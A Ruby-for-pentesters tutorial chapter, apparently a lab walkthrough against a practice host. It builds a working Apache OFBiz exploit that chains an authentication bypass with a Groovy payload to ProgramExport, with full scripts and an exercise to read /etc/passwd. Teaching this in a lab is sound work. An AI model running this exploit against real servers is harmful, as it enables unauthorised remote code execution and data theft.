// Ruby for Pentesters · Part 3
First code execution
We point the auth bypass at OFBiz's ProgramExport screen, POST a Groovy payload, and run our first command on the box. Along the way you learn POST requests, hashes, and pulling data back out of a response.
Part 2 got us past the login with a reusable get method. Being “authenticated”
in OFBiz is only useful because of where it lets us go — specifically the
ProgramExport screen, a developer tool that runs Groovy (a JVM scripting
language) that you hand it. Arbitrary Groovy is arbitrary code execution. This
part sends our first command and reads the answer back.
A method for POST
get put data in the URL. Running code means sending a body, which is a
POST. Same shape as before, one more method:
def post(path, form)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.request_uri)
req.set_form_data(form)
http.request(req)
end
The new part is form and set_form_data. form is a hash — Ruby’s
key/value structure — and set_form_data URL-encodes it into a proper
application/x-www-form-urlencoded body for us. We’ll call it like
post('/x', 'groovyProgram' => payload).
Hashes, quickly
A hash maps keys to values:
job = { 'name' => 'ofbiz', 'shell' => '/bin/bash' }
puts job['name'] # => ofbiz
job['pid'] = 4242 # add a key
You’ll use hashes constantly — for form fields, JSON, HTTP headers, anything
that’s “a set of named things.” Here we only need one field, groovyProgram.
The payload
ProgramExport reads a groovyProgram field and executes it. The reliable way
to run a shell command from Groovy is its list form of execute(), which
passes each list element as a literal argument so quoting survives:
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
Two things worth understanding:
- The string is double-quoted because it interpolates
#{cmd}— the one place we need it. The single quotes inside are Groovy’s, not Ruby’s. throw new Exception(...)is a trick:.textcaptures the command’s stdout, and throwing it as an exception makes OFBiz render that output straight into the response. Sorunhands back the whole response body, with our command’s output sitting inside it.
One limitation worth naming up front: because #{cmd} lands inside a
single-quoted Groovy string ('#{cmd}'), a command that itself contains a
single quote — say awk '{print $1}' — closes that string early and the payload
breaks. For the simple commands here it’s fine, and Part 4 sidesteps the problem
entirely by dropping into a real shell, where quoting becomes the remote shell’s
job instead of ours.
Confirming execution
Run id and pick its recognizable line out of the response with a regex:
body = run('id')
puts body[/uid=\d+\([^)]+\).*/]
String#[] with a regex returns the first match (or nil). Run it:
$ ruby rce.rb
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)
That’s code execution as the ofbiz service user. The workflow you just
learned — fire a command, then regex the answer out of the page — is how you
operate a reflected-output RCE before you have a real shell. Which is exactly
what Part 4 gets us.
Bigger payloads: heredocs
A one-line throw is fine for a single command, but real payloads grow. When a
string spans multiple lines, gluing it together with \n and + is misery.
Ruby’s answer is the heredoc — a block string that runs until a marker word:
def run_script(groovy)
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
payload = <<~GROOVY
def out = new StringBuilder()
['id', 'hostname', 'whoami'].each { cmd ->
out << cmd << ' -> ' << cmd.execute().text
}
throw new Exception(out.toString())
GROOVY
puts run_script(payload)
<<~GROOVYopens a heredoc; everything up to the line that is justGROOVYbecomes the string. The marker word is arbitrary —GROOVYdocuments intent.- The
~(a “squiggly” heredoc) strips the leading indentation, so you can indent the block to match your code and the payload still reaches the target flush-left. - A heredoc interpolates
#{...}like a double-quoted string. If a payload contains literal#{}you don’t want touched, quote the marker —<<~'GROOVY'— to turn interpolation off.
Same post under the hood; the heredoc just makes a multi-line payload readable.
The script so far
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def post(path, form)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.request_uri)
req.set_form_data(form)
http.request(req)
end
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
puts run('id')[/uid=\d+\([^)]+\).*/]
Takeaways
- A hash (
{ 'k' => 'v' }) is Ruby’s named-value structure;set_form_dataturns one into a POST body. Net::HTTP::Post.new+set_form_data+http.requestsends a POST — the same client pattern asget, with a body.- Use double quotes only when you interpolate (
"#{cmd}"); the payload’s inner quotes were Groovy’s single quotes. String#[](regex)pulls the first match out of text — perfect for isolating command output from a reflected-RCE response.- A heredoc (
<<~NAME ... NAME) is Ruby’s multi-line string;~strips indentation and<<~'NAME'turns off#{}interpolation.
Exercises
- Run
uname -athroughrunand pull just the kernel version out of the output with a regex (String#[]). - Write
run_many(cmds)that takes an array of commands and returns a hash of{ cmd => output }. (each_with_object({})is one clean way.) - Use a heredoc to build a Groovy payload that reads
/etc/passwd, send it, and extract theofbizline with a regex.
Next — Part 4: reflected output is clumsy. We upgrade to a real interactive shell by writing our own TCP listener in Ruby — and meet threads.